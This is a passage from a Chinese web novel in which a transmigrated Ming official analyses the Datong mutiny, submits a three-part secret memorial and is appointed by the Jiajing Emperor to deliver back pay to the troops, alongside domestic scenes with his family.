可先是东南倭患,接着是北方旱灾,
如今竟连拱卫京师的九边重镇也发生了兵变!
这简直是一记响亮的耳光,
狠狠抽在了他的脸上,
将他“嘉靖新政”的幻梦击得粉碎!
“废物!都是一群废物!”
嘉靖帝猛地将那份紧急军报摔在御案上,
声音因极致的愤怒而有些扭曲。
“堂堂大同巡抚,
竟被麾下士卒扣押!
朝廷的体统何在!
朕的颜面何存!”
天子一怒,伏尸百万。
殿内文武百官齐刷刷跪倒一片,
个个噤若寒蝉,
额头紧贴冰冷的地砖,
连大气都不敢喘。
“兵部!”
嘉靖帝的目光如同两把冰冷的刀子,
直刺向跪在前列的兵部尚书彭泽。
“大同军饷,为何会拖欠至此?
你这个兵部尚书,是怎么当的!”
彭泽早已吓得魂飞魄散,
浑身筛糠般颤抖,磕头如捣蒜:
“陛下息怒!陛下息怒啊!
臣……臣有罪!
然则,国库空虚,
户部拨付粮饷历来迟缓,
且……且历年积欠甚多,
臣……臣亦是巧妇难为无米之炊啊……”
他习惯性地想把锅甩给户部。
户部尚书孙交一听,立刻不干了,
也顾不上害怕,梗着脖子反驳:
“彭部堂此言差矣!
户部虽艰难,但近年来对九边饷银从未敢有意拖延!
分明是边镇将帅吃空饷、喝兵血成风,
层层克扣,才至士卒积怨已久!
此乃兵治不严之过!”
“孙部堂!你休要血口喷人!”
金献民面红耳赤。
眼看两部堂又要当着盛怒的天子吵起来,
首辅**纪不得不硬着头皮出声:
“陛下,当务之急是平息兵变,
稳定大同局势。
追究责任之事,可否容后再议?”
嘉靖帝强压怒火,冷哼一声:
“好!那朕就问你们,如何平息?
是剿是抚?拿出个章程来!”
这一问,如同在滚沸的油锅里泼进一瓢冷水,朝堂之上顿时炸开了锅。
主剿派(以部分科道言官和激进的年轻官员为主)立刻跳了出来:
“陛下!此风绝不可长!”
一位御史慷慨激昂。
“边军哗变,挟持巡抚,形同**!
若此番妥协,日后九边将士有样学样,朝廷威信何在?
国将不国!
臣主张,应立即调派京营或附近边镇精锐,
驰赴大同,以雷霆万钧之势,
剿灭乱兵,枭首示众,以儆效尤!”
“不错!乱臣贼子,人人得而诛之!
必须用鲜血维护朝廷法度!”
另一人附和道。
“可令宣府、山西兵马即刻出动,
包围大同,断其粮草,
看这些叛军能顽抗几时!”
主抚派(以部分老成持重的官员为主)则持相反意见:
“万万不可!”
一位老侍郎颤巍巍出列。
“陛下,大同乃军事重镇,
毗邻蒙古,若内部大开杀戒,
自损长城,万一鞑靼趁虚而入,
后果不堪设想!
士卒哗变,事出有因,乃是欠饷所致。
臣以为,当务之急是速派得力大臣前往安抚,
承诺尽快补发欠饷,惩处贪腐军官,
平息众怒,方为上策!”
“剿?拿什么剿?”
另一位官员冷笑。
“京营糜烂已久,能战之兵几何?
从别处调兵,粮饷从何而出?
激起更大兵变又当如何?
况且,大同乱兵据城而守,
强攻之下,玉石俱焚,
巡抚性命难保,朝廷颜面更是荡然无存!”
两派引经据典,争吵不休。
主剿的骂主抚的懦弱无能,纵容叛匪;
主抚的斥主剿的鲁莽短视,不顾大局。
唾沫横飞,场面一度几乎失控。
张璁、桂萼等近臣则暂时保持沉默,
冷眼旁观,显然在权衡利
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弊,
寻找最符合自身利益的立场。
龙椅上的嘉靖帝,
听着底下毫无建设性的争吵,
脸色越来越难看。
他何尝不想雷霆**,彰显天威?
但国库空虚,京营不堪用,
这些都是血淋淋的现实。
他也知道欠饷是根源,
但钱从哪里来?
妥协招抚,又确实担心威信受损。
这种无力感和焦躁感,几乎让他窒息。
他的目光不由自主地再次扫过翰林院官员站立的方向,
落在了那个身姿挺拔、
在一片混乱中显得异常沉静的年轻人身上——苏惟瑾。
上次真定旱灾,满朝束手,
是此人拿出了切实可行的方案。
这次……他是否又能有惊人之见?
苏惟瑾垂首而立,超频大脑却在飞速运转,
分析着这突如其来的危机:
性质:并非有预谋的**叛乱,
而是经济诉求引发的**,
带有强烈的泄愤色彩。
核心矛盾:
士兵生存权益被严重剥夺(欠饷)vs朝廷财政困难与军事管理体制**。
风险:处理不当,可能演变为真正叛乱;
被**(蒙古)利用;
动摇九边乃至全**心。
关键点:时间窗口极短,必须尽快稳定局势;
需区分首恶与胁从;
必须解决或承诺解决欠饷问题。
他迅速检索记忆库中类似历史事件的处理案例(明代及后世),
并结合现代危机管理、
群体心理学知识,
开始构建应对框架。
但他没有立即出声。
时机未到,现在站出来,
只会成为众矢之的。
他需要等待,等待皇帝和朝臣们充分暴露他们的无能和分歧,
等待一个最佳的进言时机。
朝堂上的争吵持续了整整一个上午,
依旧没有结果。
嘉靖帝心力交瘁,
最终只能愤而拂袖,
宣布退朝,令内阁和兵部尽快拿出详细方案。
退朝的钟声响起,
百官们怀着沉重的心情鱼贯而出。
苏惟瑾走在人群中,
能清晰地感受到那种山雨欲来的压抑。
他知道,一场新的风暴已经来临,
而这,或许又是他的一次机会。
只是这一次,面对的将是比胥吏贪腐、
旱灾瘟疫更加复杂、
更加危险的局面——刀兵之事!
他的超频大脑,已经为即将到来的奏对,
准备好了初步的腹稿。
这一次,他要让嘉靖帝和满朝文武再次见识到,
什么叫做“降维打击”的谋略。
大同的烽火,必将映照出他在大明权力版图上更加耀眼的身影。
第189章 超脑溯兵变,症结在钱粮
退朝的钟声在紫禁城上空沉闷地回荡,
好似敲击在每位官员心头的丧钟。
文武百官们面色凝重,
三三两两地走出奉天殿,
低声交换着对大同兵变的忧虑与猜测,
却无人能拿出一个令人信服的章程。
主剿者担心激起更大的叛乱和边境危机,
主抚者又恐朝廷威信扫地,养痈遗患。
争吵了一上午,除了暴露朝堂的无能与**,一无所获。
苏惟瑾随着人流默默走出宫门,
午后的阳光照在他年轻的脸上,
却驱不散那抹与年龄不符的沉静。
他没有像其他同僚那样急于回衙门或找相熟之人议论,
而是径直回到了翰林院那间属于他的僻静值房。
关上房门,将外界的喧嚣与恐慌隔绝开来,
他需要绝对的安静,
来运转他那最强大的武器——超频大脑。
坐到书案前,他甚至没有点灯,
任由秋日斜阳的光线在室内投下长长的阴影。
闭上双眼,意识沉入一片浩瀚的信息海洋。
关于大明王朝军事、财政、吏治的所有记忆碎片,
被瞬间激活,犹如无数星光点亮了黑暗的宇宙。
目标:剖析大同兵变的深层根源,
超越“剿”与“抚”的表象之争,找到破局的关键。
超频大脑如同最精密的扫描仪,
开始层层递进,追溯这场危机的源头:
第一层:直接诱因——欠饷。
军报明确指出,士兵因长期欠饷而哗变。
这是最表层的伤口。
大脑立刻调取户部、兵部相关的记忆数据:
嘉靖初年,国库岁入约多少,而九边军饷年需几何?
答案是令人沮丧的:
入不敷出,积欠成**。
但为什么总是边军欠饷最严重?
这就引向了更深层的问题。
第二层:制度性**——卫所制的崩坏与饷银流转的黑洞。
大脑调取明代军事制度的核心——卫所制。
太祖时期设计的“军屯自养”体系早已名存实亡。
权贵、军官、豪强大量侵占军屯土地,
导致军粮生产锐减,
军队越来越依赖朝廷财政输血。
而饷银从国库拨出,
到发放到士兵手中,
需要经过户部、兵部、督抚、镇守太监、总兵、参将、游击、千户、百户……无数道环节。
每一道环节,都可能雁过拔**,层层克扣。
“漂没”、“火耗”、“折色”……
种种名目,都成了贪官污吏中饱私囊的借口。
大脑快速估算,
一百两饷银从京城出发,
能到普通士兵手里的,
恐怕不足半数,甚至更少!
这才是欠饷的常态,而非特例!
大同兵变,只是矛盾积累到极致的总爆发。
第三层:结构性矛盾——军户地位的沦落与军官的****。
卫所军户身份**,地位低下,形同农奴。
军官阶层则往往**罔替,
缺乏考核淘汰机制,**无能者众。
他们不仅克扣军饷,
还肆意役使士兵为奴,
侵占其田产,甚至逼迫其为自己经商牟利。
士兵毫无尊严和希望,只有被压榨的痛苦。
当最基本的生存需求都无法满足时,
铤而走险就成了唯一的选择。
第四层:战略环境恶化——边患压力与财政困局的恶性循环。
北方蒙古各部虽不像明初那样强大,
但小规模侵扰不断,
使得九边军费始终是高悬在朝廷头顶的利剑。
而为了维持庞大军备,
又进一步加剧了财政困难,
导致欠饷更甚,军备更易废弛,
边防更加脆弱……
形成一个致命的死亡螺旋。
结论清晰浮现:
大同兵变,
绝非简单的“士兵刁顽”或“个别军官贪腐”,
而是大明军事—财政体系深度腐烂的必然脓疮。
单纯的“剿”,是扬汤止沸,
只会逼反更多军队,
甚至可能导致边境门户洞开;
单纯的“抚”,是饮鸩止渴,
暂时安抚大同,但根本问题不解决,
其他边镇迟早会效仿,
朝廷将陷入无休止的妥协和财政勒索中。
那么,破局点在哪里?
超频大脑开始进行策略推演:
1.必须立即止损,稳定大同局势。<
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br>这是前提,否则一切免谈。
这意味着需要有一个能快速平息事变的方案。
2.方案必须触及至少一个根本性问题。
否则毫无意义。
在当前条件下,全面改革卫所制、
清理军屯、整顿官僚系统,显然不现实。
但能否在解决此次兵变的过程中,
嵌入一些针对“饷银发放”或“军官**”的局部改革措施?
3.需要找到一个能为各方(皇帝、朝廷、甚至部分士兵)接受的平衡点。
既要维护朝廷起码的体面,
又要满足士兵的基本生存诉求,
还要能震慑未来的潜在效仿者。
4.执行人选至关重要。
需要一位既有胆识魄力,
又能深刻理解问题本质,
且不被现有利益集团捆绑的官员。
大脑飞速运转,
结合历史案例(如明代中后期处理兵变的经验教训)和现代冲突化解、谈判理论,
一个初步的、大胆的解决方案框架开始逐渐成形。
这个方案,将不同于朝堂上任何一派的陈词滥调,
它将是抚其心、惩其首、革其弊的组合拳。
苏惟瑾睁开眼,目光锐利如刀。
值房内已然昏暗,
但他心中却一片雪亮。
他已经看到了问题的本质,
也找到了那条看似不可能的破局之路。
现在,他需要等待一个时机,
一个能将这个方案递到嘉靖帝面前的最佳时机。
也许,那份刚刚获得的“密疏直奏”之权,
很快就要派上大用场了。
他铺开纸,蘸饱墨,
开始将脑中成型的思路,落于笔端。
这不是正式的奏疏,
而是为自己准备的陈述纲要,
条分缕析,数据翔实,逻辑严密。
他要确保,当机会来临的那一刻,
他能用最精准、最有说服力的语言,
震撼那座深宫里的年轻帝王。
大同的烽火,不仅照见了帝国的痼疾,
也照亮了一条通往权力核心的险峻捷径。
朝堂之上,一场关于国家命运的巨大博弈,即将展开,
而他,苏惟瑾,已经做好了押上重注的准备。
第190章京华聚首谋新业,武心初显定乾
紫禁城深秋的肃杀之气,
尚未完全浸透京城的大街小巷。
苏惟瑾端坐在翰林院值房内,
刚将那份关乎大同局势的密疏封好,
交由心腹送往通政司。
窗外的柿子树挂满了橙红的果子,
在午后阳光下像一盏盏小灯笼,
平添了几分暖意。
他揉了揉有些发胀的太阳穴,
超频大脑从繁复的军国算计中暂时抽离,
转向了另一件萦绕心头的事
——算算日程,
周大山护送小妹苏婉和芸娘一家,也该到京城了。
想起妹妹信中那小心翼翼的求助与隐含的泪痕,
他心中便是一阵抽痛与急切。
念头刚落,堂兄苏惟山便轻手轻脚地进来禀报:
“瑾哥儿,周大山到了,
人已安顿在榆钱胡同的宅子里,
五妹苏婉和芸娘姑娘一家也一并接来了。”
苏惟瑾眼中骤然爆发出难以抑制的惊喜与急切,立刻起身:
“备轿,回榆钱胡同!”
话语中的迫不及待,
连苏惟山都为之侧目。
榆钱胡同这处两进的小院,
是苏惟瑾升任修撰后新置的产业,
虽不奢华,却清静雅致。
他几乎是步履带风地跨进院门,
目光瞬间就锁定了那个站在院中、
穿着半新湖绸袄裙的纤细身影。
“哥哥!”
一声带着哭腔又满是喜悦的呼唤响起,
只见苏婉如同乳燕投林般扑了过来,
再也维持不住信中那般克制的语调。
她仰起小脸,眼眶通红,
大颗大颗的泪珠滚落下来,
是委屈,是后怕,
更是见到唯一依靠后彻底的心安与激动。
“哥哥……我终于见到你了!婉妹好想你……”
苏惟瑾心中最柔软的地方被狠狠触动,
数月来的牵挂与自责在此刻化为实质。
他张开双臂,稳稳接住扑来的妹妹,
轻轻拍着她的后背,
声音是前所未有的温柔与疼惜:
“婉妹,乖,不哭了。
是哥哥不好,让婉妹受委屈了。
以后有哥哥在,再也没人能让你难过。”
他仔细端详着妹妹,
见她面容虽比记忆中清减,
但气色尚好,眼神也恢复了往日的灵动,这才稍稍安心。
他习惯性地想抬手摸摸她的头,
意识到妹妹已是大姑娘,
手在半空顿了顿,
最终只是替她理了理微微散乱的鬓发,
眼中满是兄长对幼妹的宠溺与怜爱。
待苏婉情绪稍平,
抽噎着从兄长怀中抬起头,
苏惟瑾的目光才转向一旁始终安静站立、低垂着头的芸娘。
她穿着一身素净的棉布衣裙,
身形比在沭阳时更显纤细单薄,
双手紧张地交握着,
指尖因用力而微微发白。
感受到苏惟瑾的目光,
她的头垂得更低,
耳根却不受控制地泛起红晕,
连纤细的脖颈都染上了一层薄粉。
“芸娘,”
苏惟瑾的声音放缓,
带着显而易见的温和。
“一路辛苦了。”
芸娘闻声,
身子几不可查地轻颤了一下,
这才鼓足勇气抬起眼帘,
飞快地瞥了苏惟瑾一眼,
又迅速垂下,声如蚊蚋,却清晰地道:
“劳…劳苏大人挂心,不…不辛苦。”
那一声“苏大人”,叫得生疏又恭敬,
却掩不住话尾一丝不易察觉的颤抖。
她身旁,她父亲陈伯康由老妻搀扶着,
不住地咳嗽,面色蜡黄,
但看向苏惟瑾的眼神充满了无尽的感激,挣扎着想行礼。
苏惟瑾连忙上前虚扶:
“陈伯不必多礼,一路劳顿,快请进屋歇息。”
他的目光再次掠过芸娘时,
带着安抚人心的力量,
微微颔首,一切尽在不言中。
芸娘感受到那份一如既往的尊重与关怀,
紧绷的心弦稍稍松弛,
脸颊却更红了,心中五味杂陈,
既有他乡遇故知的亲切,
又有面对身份悬殊的局促,
还有一丝难以言喻的、隐秘的喜悦。
一番安顿叙旧后,苏惟瑾将周大山叫到书房。
周大山还是那副魁梧模样,
一身风尘仆仆,但眼神里除了往日的忠厚,
还多了几分不易察觉的局促。
“大山,这趟辛苦你了。
南京那边都稳妥了?”
苏惟瑾亲手给他倒了杯热茶。
“瑾哥儿放心,元哥儿和率哥儿都能顶事了,
铺子和船队都打理得井井有条。”
周大山接过茶,却没喝,
摩挲着粗糙的茶杯边缘,
犹豫了一下,瓮声瓮气地开口:
“瑾哥儿,我……我有个事,
憋心里好几天了。”
“嗯?你说。”
苏惟瑾看出他的异样。
“瑾哥儿,你现在是状元爷,
是翰林院的老爷,
天天跟那些尚书、阁老们谈的都是国家大事。”
周大山抬起头,眼神里带着困惑和一丝自卑。
“我瞅着,我除了这把子力气,
会几下拳脚,也帮不上你啥大忙了。
护个院、跑个腿,随便找个护院都能干。
我……我怕自己没啥用,给你拖后腿。”
这个憨直的汉子,在亲眼目睹、
耳闻苏惟瑾在京城的圈子后,
第一次深刻感受到彼此身份地位的鸿沟,
产生了强烈的危机感。
苏惟瑾闻言,神色一正,
走到周大山面前,
用力拍了拍他结实的肩膀:
“大山,你错了!而且大错特错!”
他目光炯炯,语气斩钉截铁:
“官场上的迎来送往、笔墨文章,
固然是一种能力。
但能在刀光剑影中护我周全,
能在危难时刻让我毫无保留信任、
托付身家性命的,普天之下,只有你周大山!
这份忠义,这份过命的交情,
是再多官职、再大权势都换不来的!
你是我苏惟瑾的臂膀,
是根基,绝非什么拖累!”
这番话,掷地有声,情真意切。
周大山怔怔地看着苏惟瑾,
眼圈微微发红,
胸中那股郁气瞬间消散大半,
取而代之的是一股滚烫
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的热流。
“瑾哥儿……我……”
他嘴唇翕动,一时不知该说什么。
苏惟瑾缓和了语气,低声道:
“非但如此,眼下就有一桩紧要事,
或许很快就需要你独当一面,
去一处险地,办一件机密要务。”
他虽未明言大同兵变,
但眼神中的郑重和信任,
让周大山瞬间挺直了腰板。
“瑾哥儿你只管吩咐!
刀山火海,我周大山要皱一下眉头,
就不是爹生娘养的!”
周大山胸脯拍得砰砰响,
之前的自卑一扫而空,
重新充满了干劲。
“好!要的就是你这句话!”
苏惟瑾点头。
“不过,欲行大事,
光靠勇力还不够。
从明日起,你带着惟虎,
还有你挑出来的那几个绝对可靠的弟兄,
我要教你们一些新东西。”
接下来的几天,
苏惟瑾在处理公务之余,
抽空便将现代特种兵训练中一些适合明代背景的基础内容,
化用成这个时代能理解的方式,
传授给周大山等人。
周大山等人如获至宝,练得极为刻苦。
与此同时,苏婉和芸娘也没闲着。
在苏惟瑾的安排下,沈香君出面,
很快就在城南寻了一处带后院、
临近水源的僻静小院,
作为香露作坊的场地。
沈香君八面玲珑,负责采买器具、打通关节;
苏婉心思细腻,帮着管理内务、安排人手;
芸娘则全身心投入,开始尝试在京城的环境下制作香露。
然而,京畿之地,鱼龙混杂,麻烦很快找上门来。
这日,一个穿着锦缎长衫、摇着折扇的胡公子,
带着随从闯入了正在收拾的作坊小院,
言语轻佻,意图强索干股或配方。
苏婉强自镇定与之周旋,
芸娘吓得脸色发白。
就在胡公子恼羞成怒欲动手砸店时,
周大山如同铁塔般出现,
一声暴喝震慑全场。
苏惟虎利落出手,轻易制服随从。
周大山报出苏惟瑾名号,
胡公子顿时吓得魂飞魄散,狼狈逃窜。
苏婉和芸娘松了口气,
看向周大山的眼神充满了感激。
周大山憨厚一笑:
“瑾哥儿吩咐过,要护着家里周全。”
当晚,苏惟瑾听完汇报,赞许道:
“做得很好。
接下来,香露作坊的事,
由香君和小妹她们操持即可。
大山,你和弟兄们要加紧准备,
真正的风雨,或许不远了。”
他的目光投向西北方向。
周大山重重抱拳:
“是!瑾哥儿,弟兄们随时待命!”
京城秋夜渐深,榆钱胡同的小院里,灯火温暖。
一边是女子们对新生活的憧憬与忙碌,
一边是男儿们为未来风雨的磨砺与准备。
苏惟瑾默默站在书房窗前,
看着小妹房中透出的、安心而温暖的灯光,
心中充满了守护的力量。
眼前景色如同一张逐渐铺开的大网,
静待时机,席卷天下。
第191章 密疏陈三策,釜底巧抽薪
秋夜,寒意渐浓。
乾清宫的烛火却亮如白昼,
嘉靖帝朱厚熜独坐御案之后,
面前堆满了关于大同兵变的奏报,
每一份都像是一块沉重的寒冰,
压得他喘不过气。
朝堂上无休止的争吵,
各部衙门互相推诿的扯皮,
让他感到一种深深的无力与烦躁。
难道满朝文武,
竟无一人能为朕分忧,
拿出一个切实可行的办法吗?
就在他心绪不宁,
几乎要再次发作之时,
司礼监掌印太监黄锦,
手捧一份密封的奏匣,
脚步轻捷却又带着几分郑重地走了进来。
“陛下,翰林院修撰苏惟瑾,有密疏呈奏。”
黄锦的声音压得很低,
在寂静的殿宇中却格外清晰。
“苏惟瑾?”
嘉靖帝眉头一挑,
心中那团乱麻似乎被这个名字触动了一下。
真定府那个做事条理分明、
总能出人意料的同龄人。
苏惟瑾!
“快呈上来!”
打开密封的奏匣,取出那份墨迹未干的密疏。
展开一看,字迹工整清峻,条理清晰,
开篇没有多余的客套,直指核心:
“臣翰林院修撰苏惟瑾谨奏:
为大同兵变事,沥陈刍荛之见,伏乞圣鉴。
臣窃以为,今日大同之乱,
表象在士卒悍戾,实根在粮饷积欠、
军官贪墨、体制壅塞。
若只议剿抚,犹如扬汤止沸,或饮鸩止渴。
当行釜底抽薪之策,
分层而治,标本兼图。
臣冒死谨陈三策,
曰立即策、中期策、长远策……”
嘉靖帝的精神瞬间为之一振,
身体不自觉地坐直了,
目光灼灼地看了下去。
立即策:以抚定乱,以银安人心。
苏惟瑾提出,兵变初起,乱兵情绪激亢,
强硬**极易逼其鱼死网破。
当务之急是迅速稳定军心,瓦解其斗志。
1.特遣钦差,携帑先行:
建议皇帝特派一位位高权重、
胆识过人的心腹重臣为钦差,
火速前往大同。
最关键的是,请陛下特旨,
拨发内帑银(皇帝的私房钱)二十万两,
随钦差同行,作为先行补发欠饷之用。
此举意义重大:
一是显示皇帝解决问题的最大诚意和决心,
速度远快于从空虚的国库调拨;
二是内帑银直接出自皇帝,
带有强烈的“皇恩”色彩,易于收拢兵心。
2.宣布赦令,区分首从:
钦差抵达后,立即公开宣布皇帝旨意:
只惩首恶,胁从不问。
承诺只要放下武器,释放巡抚,
安心等待,立即按名册补发所欠饷银。
此举可迅速分化乱兵群体,孤立少数领头者。
3.绕过环节,直发到人:
补发饷银时,必须由钦差带来的户部或兵部专员,
直接按军籍名册,当着众军士的面,
发放到每个士兵手中,
彻底绕过各级军官,
杜绝任何中间克扣的可能!
这一条,直指旧有发放体系的弊病,
是收买人心的关键。
中期策:查根究底,整饬积弊。
局势初步稳定后,绝不能姑息养奸,
必须彻底清算,以儆效尤,并着手局部改革。
1.严惩贪腐,以正视听:
由钦差会同按察使,彻底调查兵变根源,
将那些长期喝兵血、欺压士卒的贪腐军官,
不论官职高低,一律严惩不贷,
该罢黜的罢黜,该下狱的下狱,
甚至可斩首一二罪大恶极者,
以泄士卒之愤,肃军纪。
2.整顿后勤,设立新规:
借此机会,整顿大同镇的粮饷后勤体系。
建议试行“饷银发放联署核销制”,
即饷银发放,需由巡抚(或兵备道)、
镇守总兵、以及士兵代表(可选低级武官或老卒)
三方共同监督、签字画押,
方能生效,并定期公示,增加透明度。
长远策:深究根源,议革旧制。
苏惟瑾笔锋一转,指出大同兵变绝非孤例,
乃是九边乃至全国卫所制积弊的缩影。
他委婉地提出:
“臣斗胆进言,俟大同事平,
伏乞陛下敕令廷臣,
深究边军困窘之根源,
广议军制、饷制革新之良策。
或可于一二边镇先行试点,
如清丈军屯、核实兵额、优化漕运供给等,
徐徐图之,以期长治久安。”
这等于是在为将来更深层次的军事改革埋下伏笔,投石问路。
密疏的最后,苏惟瑾写道:
“此三策,立即策可解燃眉之急,
中期策可固眼前之效,
长远策可图未来之安。
环环相扣,或可破此僵局。
然事涉重大,是否妥当,
伏惟陛下圣裁。
臣才疏学浅,
唯有一颗忠君爱国之心,
敢不竭诚以报?”
嘉靖帝一字一句地读完,
良久没有出声。
殿内只剩下烛火燃烧的轻微噼啪声。<
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br>他的脸上,最初的烦躁和阴郁渐渐被一种混合着惊讶、
赞赏和深思的表情所取代。
这封密疏,太不一般了!
它没有空谈忠义道德,
也没有陷入剿抚的意气之争,
而是像一位高明的医者,
直接诊断出了病根(钱粮、**、制度),
并开出了一套完整的药方(立即止血、中期清创、长期调理)。
尤其是“立即策”中,
请求动用内帑、直发到人这两点,
简直是神来之笔!
既解决了他最头疼的“钱从何来”和“如何确保钱到士兵手”的难题,
又极大地彰显了皇恩,可谓一举数得!
“系统性思维……”
嘉靖帝脑中不由自主地冒出了这个词。
苏惟瑾展现出的,
不仅仅是急智,
更是一种超越朝堂衮衮诸公的、
高屋建瓴的全局观和解决问题的框架能力。
这种能力,正是他这个渴望有所作为却又处处掣肘的皇帝,
最需要、最渴求的!
“黄锦。”
嘉靖帝终于开口,
声音带着一丝不易察觉的激动。
“奴婢在。”
“即刻传朕口谕,
召内阁辅臣、兵部尚书、
户部尚书……即刻入宫议事!”
嘉靖帝的目光重新变得锐利而坚定。
“还有,将苏惟瑾这份密疏……
关键部分,誊抄出来,给诸位大臣看看。”
“奴婢遵旨。”
黄锦心中一凛,
知道陛下这是要力排众议,
采纳苏惟瑾的方案了。
他悄悄看了一眼那份密疏,
心中对那位年轻的苏修撰,
又高看了几分。
当几位重臣深夜被急召入宫,
看到那份誊抄的、
条理分明如同手术刀般的“平乱三策”时,
脸上的表情精彩纷呈。
有愕然,有沉思,
当然,也少不了质疑和反对,
尤其是对“动用内帑”和“直发到人”触及了不少人的利益。
但这一次,嘉靖帝的决心异常坚定。
苏惟瑾的密疏,给了他破局的底气和清晰的路线图。
苏惟瑾这封在夜深人静时呈上的密疏,
如同一道闪电,劈开了笼罩在朝堂上的迷雾,
也再次将他自己推向了风暴眼的中心。
一场围绕大同兵变处置方案的更激烈博弈,
即将在紫禁城的深宫中展开,
而这一次,苏惟瑾虽未亲临,
却已凭借其超脑的谋略,
投下了一枚足以改变棋局的重磅棋子。
第192章 帝叹无人及,钦点督饷郎
乾清宫内的地龙烧得正旺,
驱散了深秋的寒意,
却驱不散嘉靖帝眉宇间的凝重。
御案上,那些关于大同兵变的奏报依旧堆积如山,
吵嚷了数日的廷议并无实质进展,
无非是“主剿派”与“主抚派”车轱辘话来回说,听得他太阳穴突突直跳。
“废物!都是废物!”
嘉靖帝心里暗骂一声,
将一份主张“调集重兵,
雷霆**”的奏折重重摔在一边。
这些大臣,要么是只会喊打喊杀的莽夫,
不顾及边镇实际情况和可能引发的更大动荡;
要么就是一味强调“抚慰”,
却拿不出能让乱兵真正放下武器的具体方案,
空谈仁义道德,简直迂腐!
他疲惫地揉了揉眉心,
目光不由自主地再次落在那份单独放置的密疏上
——苏惟瑾的《为大同兵变事沥陈刍荛之见》。
昨夜初读时的震撼与豁然开朗之感再次涌现。
这份奏疏,条分缕析,层层递进,
将一场看似无解的兵变,
解剖成了可以分步解决的具体问题。
尤其是“立即策”中,
“请发内帑”、
“钦差携银速往”、
“饷银直发到人”这几条,
简直是戳中了他心中最隐秘的痛点
——既想快速平息事态,
又担心国库空虚、
层层盘剥导致银子到不了士兵手里,
反而助长乱兵气焰。
“满朝朱紫,食君之禄,担君之忧,
临事却无一人能如苏惟瑾般,
看得如此透彻,想得如此周全!”
嘉靖帝忍不住低声叹息,
声音在空旷的殿宇中带着一丝回响,
透着难以掩饰的失望与一丝发现璞玉的复杂欣喜。
“难道真要让朕做一个无人可用的孤家寡人?”
侍立一旁的司礼监掌印太监黄锦,
低眉顺眼,将皇帝的叹息听在耳中,
心中却是波涛翻涌。
他伺候这位年轻主子时日不短,
深知其心高气傲,
如此直白地称赞一个臣子,
尤其是像苏惟瑾这般资历尚浅的翰林,实属罕见。
这苏修撰,简在帝心,怕是真要一飞冲天了。
“黄锦。”
嘉靖帝忽然开口,声音恢复了冷静。
“奴婢在。”
黄锦连忙躬身应道。
“昨夜朕让你誊抄部分苏惟瑾的条陈,
给阁老和尚书们看了,
他们有何话说?”
嘉靖帝语气平淡,听不出喜怒。
黄锦小心斟酌着词句:
“回陛下,**阁老(**纪)以为,
苏修撰所言之‘立即策’,切中肯綮,
尤其是请发内帑以示皇恩、
直发到人以杜克扣,
实为老成谋国之见,可解燃眉之急。
然……然对其‘中期策’中涉及清查军官、
乃至‘长远策’中隐含的改制之意,
以为……以为还需从长计议,
恐激起武臣不安。”
“哼,从长计议?又是从长计议!”
嘉靖帝冷哼一声。
“那兵部赵璜和户部呢?”
“赵尚书……似乎对‘直发到人’略有微词,
言及军中自有体制,
恐……恐难以推行。”
黄锦顿了顿。
“户部则对动用内帑……
自然是无异议的。”
户部巴不得皇帝自己出钱呢。
嘉靖帝嘴角勾起一抹嘲讽的弧度。
他岂能不知这些人的心思?
**纪是稳妥,但有时过于稳妥便是保守;
赵璜怕是担心触动他兵部乃至边将的利益网络;
户部则是能省则省。
唯有苏惟瑾,跳出这些盘根错节的利益纠葛,
纯粹从解决问题的角度出发,
提出了这套近乎“手术刀”般的方案。
“看来,这满朝文武,
能真正体会朕心,
且有点子、有胆魄去执行的,
还真是不多。”
嘉靖帝站起身,在御案前踱了几步,
烛光将他的身影拉得忽长忽短。
“大同之事,刻不容缓。
乱兵占据军镇,扣押巡抚,
消息一旦传开,九边震动,
后果不堪设想!必须快刀斩乱麻!”
他猛地停下脚步,眼中闪过一丝决断:
“立即策,必须立刻施行!
钦差要派,内帑要出,
饷银要直接发到士兵手中!”
“陛下圣明!”
黄锦连忙附和。
“那么,派谁去?”
嘉靖帝目光如电,扫向黄锦,
又似自言自语。
“此人需胆大心细,能临机决断;
需不惧边镇骄兵悍将,能压住场面;
更关键的,需真正领会朕意,
能将这‘直发饷银’之事,
办得滴水不漏,切实收拢军心,
而不是去和稀泥,或者被那些边将架空!”
他脑海中迅速闪过几个重臣的名字:
内阁辅臣?
位高权重,但多是老成持重之辈,
未必有这般锐气和执行力,
且朝中离不开他们。
兵部、户部侍郎?
恐怕难脱本部窠臼,
易被旧**气裹挟。
都察院的御史?
风闻奏事可以,处理这等复杂军务,
怕是力有未逮。
想着想着,他的目光不由自主地再次投向了那份密疏。
苏惟瑾……此子能写出这般条陈,
可见其对局势洞察之深,
思虑之密,远超同侪。
更重要的是,他年轻,有锐气,
尚未被官场陋**浸染,
且几次三番展现出的能力,
都证明其可堪大用。
只是……他毕竟只是个六品翰林修撰,
资历太浅,直接派去处理涉及数万军队的兵变,
未免太过骇人听闻,朝野非议必多。
嘉靖帝沉吟片刻,眼中精光一闪,有了决断。
他不能直接让苏惟瑾去掌军或当主钦差,
但可以赋予他关键的、核心的职权!
“黄锦,拟旨!”
嘉靖帝声音斩钉截铁。
“奴婢恭聆圣谕。”
“着成立‘大同饷事督办专员公署’,
特简翰林院
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修撰苏惟瑾,
充任‘督饷钦差’,赏给关防,
即日筹备,火速前往大同!”
嘉靖帝语速不快,
但每个字都清晰有力。
“其职责专一:
一,护送内帑银二十万两安全抵达大同;
二,全权负责此次补发欠饷事宜,
务必按名册,将饷银直接发放至每一名士卒手中,
任何人不得经手克扣!
三,会同大同巡抚(若获释)及按察使,
调查此次兵变中粮饷积欠、军官贪墨实情,据实上奏!
四,于大同期间,可相机提出整顿后勤、
革除弊政之建议,直奏于朕!”
这道旨意,可谓石破天惊!
一个六品翰林,瞬间被赋予了“钦差”身份,
虽然名头上加了“督饷”限制,
看似只管发钱和调查,
但实际上,在“饷银直发到人”这一核心环节,
他拥有了超越当地所有文武官员的权力!
而且“调查贪墨”、“提出建议”两项,
更是给了他插手军务整顿的尚方宝剑!
这等于是在常规的平乱钦差体系之外,
另设了一个直通皇帝、掌握钱袋子和调查权的“特派员”!
黄锦心中巨震,笔下却不敢怠慢,
飞快地草拟着旨意要点。
他深知,陛下这是对苏惟瑾寄予了极大的信任,
也是行了一招险棋。
成了,苏惟瑾便是简在帝心的能吏,前途无量;
败了,或者捅了马蜂窝,后果不堪设想。
“陛下,”
黄锦还是忍不住提醒了一句。
“苏修撰年轻,骤膺重任,
朝中诸位大人那边……”
“朕意已决!”
嘉靖帝打断了他,
语气不容置疑。
“非常之时,当用非常之人!
